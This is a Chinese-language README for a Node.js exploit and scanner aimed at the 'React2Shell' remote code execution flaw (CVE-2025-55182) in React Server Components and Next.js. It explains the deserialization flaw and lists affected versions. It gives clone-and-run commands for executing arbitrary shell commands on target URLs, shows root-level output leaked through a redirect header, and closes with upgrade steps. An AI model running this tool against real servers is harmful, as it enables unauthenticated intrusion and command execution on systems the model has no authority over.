
基于 NodeJS 的利用脚本和扫描器,针对 React Server Components "React2Shell" 漏洞 (CVE-2025-55182)。
仅供教育和安全研究目的使用。
此工具旨在帮助安全专业人员和管理员验证其自身系统的漏洞。作者对使用此代码进行的任何滥用、损害或非法行为概不负责。
CVE-2025-55182 是 react-server-dom-webpack 中的一个远程代码执行漏洞,react-server-dom-webpack 是 Next.js (App Router) 和 React 19 使用的核心包。
该漏洞允许未经身份验证的攻击者将恶意负载注入 React 服务端操作 (Server Actions)。通过操纵反序列化过程,攻击者可以访问 JavaScript 的 Function 构造函数,并在服务器上执行任意系统命令。
受影响版本:
react-server-dom-webpack: 19.0.0 - 19.2.0next: 13.4.x, 14.x (pre-14.2.35), 15.x (pre-15.5.9)此更新脚本使用先进利用技术,以提高可靠性:
Next-Action ID 的需求。适用于任何存在漏洞的 Next.js 实例,无需手动侦察。Location 头中。这避免 500 错误并提供清晰的输出。克隆仓库:
git clone https://github.com/sangleshubham/React-Security-CVE-2025-55182-Exploit.git
进入目录:
cd React-Security-CVE-2025-55182-Exploit
检查 Node.js 版本: 确保已安装 Node.js(推荐 v18 或更高版本)。
node -v
(注意:此脚本使用标准 Node.js 库,因此无需 npm install。)
脚本 react2shell.js 会自动检测您是扫描单个还是多个目标。
默认执行的命令是 id。
# Single Target
node react2shell.js http://localhost:3000 ls
# Multiple Targets
node react2shell.js http://localhost:3000 [http://staging.example.com] ls
要执行特定命令,请将其作为最后一个参数提供。
# Syntax: node script.js <URL> <COMMAND>
node react2shell.js http://localhost:3000 <command>
⚠️ 存在漏洞: 工具成功执行了命令,并通过重定向头部走私了输出。
[*] Starting Universal Scan...
[*] Payload Command: "id"
⚠️ VULNERABLE (http://localhost:3000)
Output: uid=0(root) gid=0(root) groups=0(root)
🛡️ 安全: 服务器拒绝了负载或已修补。
🛡️ SAFE (http://google.com) | Status: 405
❌ 连接错误: 脚本无法连接到服务器。
❌ CONNECT ERROR (http://bad-url.com) | fetch failed
如果您的应用程序存在漏洞,请立即升级依赖项。
对于 Next.js:
# Next.js 14
npm install [email protected] react@latest react-dom@latest
# Next.js 15
npm install [email protected] react@latest react-dom@latest
对于其他框架(Waku、Remix 等):
确保 react-server-dom-webpack 升级到 v19.2.1 或更高版本。
根据 MIT 许可证分发。有关更多信息,请参阅 LICENSE。